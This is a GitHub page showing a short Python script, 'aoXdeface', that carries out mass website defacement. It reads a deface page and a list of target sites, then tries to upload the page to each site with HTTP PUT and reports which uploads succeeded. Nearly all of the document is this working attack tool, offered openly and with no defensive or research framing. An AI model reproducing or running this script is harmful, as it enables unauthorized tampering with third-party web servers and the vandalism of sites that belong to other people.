-
Notifications
You must be signed in to change notification settings - Fork 102
/
aox.py
71 lines (60 loc) · 1.97 KB
/
aox.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#-*- coding: utf-8 -*-
try:
import requests
import os.path
import sys
except ImportError:
exit("install requests and try again ...")
banner = """
█████╗ ██╗ ██╗██████╗ Author : Ms.ambari
██╔══██╗╚██╗██╔╝██╔══██╗ Date : 2018-12-01
███████║ ╚███╔╝ ██║ ██║ Tools : aoXdeface V.1.0
██╔══██║ ██╔██╗ ██║ ██║ Github : /Ranginang67
██║ ██║██╔╝ ██╗██████╔╝ youtube: Ms.ambari
╚═╝ ╚═╝╚═╝ ╚═╝╚═════╝
"""
b = '\033[31m'
h = '\033[32m'
m = '\033[00m'
def x(tetew):
ipt = ''
if sys.version_info.major > 2:
ipt = input(tetew)
else:
ipt = raw_input(tetew)
return str(ipt)
def aox(script,target_file="target.txt"):
op = open(script,"r").read()
with open(target_file, "r") as target:
target = target.readlines()
s = requests.Session()
print("uploading file to %d website"%(len(target)))
for web in target:
try:
site = web.strip()
if site.startswith("http://") is False:
site = "http://" + site
req = s.put(site+"/"+script,data=op)
if req.status_code < 200 or req.status_code >= 250:
print(m+"["+b+" FAILED!"+m+" ] %s/%s"%(site,script))
else:
print(m+"["+h+" SUCCESS"+m+" ] %s/%s"%(site,script))
except requests.exceptions.RequestException:
continue
except KeyboardInterrupt:
print; exit()
def main(__bn__):
print(__bn__)
while True:
try:
a = x("Enter your script deface name: ")
if not os.path.isfile(a):
print("file '%s' not found"%(a))
continue
else:
break
except KeyboardInterrupt:
print; exit()
aox(a)
if __name__ == "__main__":
main(banner)